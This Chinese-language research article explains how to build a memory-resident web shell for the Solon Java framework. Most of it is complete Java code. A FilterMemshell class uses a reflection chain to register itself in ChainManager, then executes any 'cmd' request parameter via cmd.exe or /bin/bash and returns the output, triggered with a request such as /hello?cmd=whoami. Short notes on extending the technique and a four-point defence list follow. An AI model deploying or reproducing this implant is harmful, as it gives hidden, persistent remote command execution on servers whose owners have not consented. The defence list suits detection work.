Solon内存马研究
字数 922 2025-08-24 10:10:13
Solon框架内存马研究与实现
1. Solon框架简介
Solon是一款国产Java应用开发框架,具有以下特点:
- 追求克制、简洁、高效、开放、生态
- 支持Java 8 ~ Java 22
- GitHub上有2.2k star
- 适用于中小型Java Web应用开发
2. Solon请求处理流程
Solon的请求处理过程包含以下关键组件:
- Filter过滤器:全局过滤器,对所有请求起作用
- RouterInterceptor:路由拦截器
- Handler:请求处理器
3. 环境搭建
-
使用官方模板创建项目:
https://solon.noear.org/start/build.do?artifact=helloworld_jdk8&project=maven&javaVer=1.8 -
基础Filter示例:
package com.example.demo;
import org.noear.solon.annotation.Component;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.Filter;
import org.noear.solon.core.handle.FilterChain;
@Component
public class NormalFilter implements Filter {
@Override
public void doFilter(Context ctx, FilterChain chain) throws Throwable {
System.out.println("NormalFilter::doFilter");
chain.doFilter(ctx);
}
}
4. Filter内存马实现原理
4.1 关键发现
- Filter存储在
ChainManager类的filterNodes属性中 ChainManager的初始化在org.noear.solon.core.route.RouterWrapper中完成- 通过调用
ChainManager.addFilter()可以动态添加Filter
4.2 获取ChainManager的反射路径
Context ctx = Context.current();
Object obj = ctx.request();
Field field = obj.getClass().getSuperclass().getDeclaredField("request");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("serverHandler");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("handler");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("arg$1");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getSuperclass().getDeclaredField("_chainManager");
field.setAccessible(true);
obj = field.get(obj);
ChainManager chainManager = (ChainManager) obj;
chainManager.addFilter(new FilterMemshell(), 0);
5. 完整Filter内存马实现
package com.example.demo;
import org.noear.solon.core.ChainManager;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.Filter;
import org.noear.solon.core.handle.FilterChain;
import java.lang.reflect.Field;
public class FilterMemshell implements Filter {
static {
try {
Context ctx = Context.current();
Object obj = ctx.request();
Field field = obj.getClass().getSuperclass().getDeclaredField("request");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("serverHandler");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("handler");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("arg$1");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getSuperclass().getDeclaredField("_chainManager");
field.setAccessible(true);
obj = field.get(obj);
ChainManager chainManager = (ChainManager) obj;
chainManager.addFilter(new FilterMemshell(), 0);
} catch (Exception e){
e.printStackTrace();
}
}
@Override
public void doFilter(Context ctx, FilterChain chain) throws Throwable {
try {
if (ctx.param("cmd")!= null){
String str = ctx.param("cmd");
try {
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe", "/c", str}
: new String[]{"/bin/bash", "-c", str};
String output = (new java.util.Scanner(
(new ProcessBuilder(cmds)).start().getInputStream()))
.useDelimiter("\\A").next();
ctx.output(output);
} catch (Exception e) {
e.printStackTrace();
}
}
} catch (Throwable e){
System.out.println("异常:" + e.getMessage());
}
chain.doFilter(ctx);
}
}
6. 测试与验证
- 在Controller中触发内存马加载:
@Controller
public class DemoController {
@Mapping("/hello")
public String hello(@Param(defaultValue = "world") String name) throws Throwable {
new FilterMemshell();
return String.format("Hello %s!", name);
}
}
- 通过URL参数执行命令:
GET /hello?cmd=whoami
7. 扩展实现
ChainManager类还提供了其他组件的动态添加方法,可以类似实现:
- RouterInterceptor内存马:通过
addInterceptor()方法 - ActionReturnHandler内存马:通过
addReturnHandler()方法 - ActionExecuteHandler内存马:通过
addExecuteHandler()方法
8. 防御措施
- 监控
ChainManager的动态修改 - 检查异常Filter的添加
- 限制反射调用权限
- 实施运行时行为监控
9. 总结
Solon框架内存马实现的关键在于:
- 理解请求处理流程和组件结构
- 通过反射获取
ChainManager实例 - 利用
addFilter方法动态注入恶意Filter - 实现命令执行功能并保持隐蔽性
这种技术可用于红队测试和权限维持,同时也提醒开发者需要加强运行时安全防护。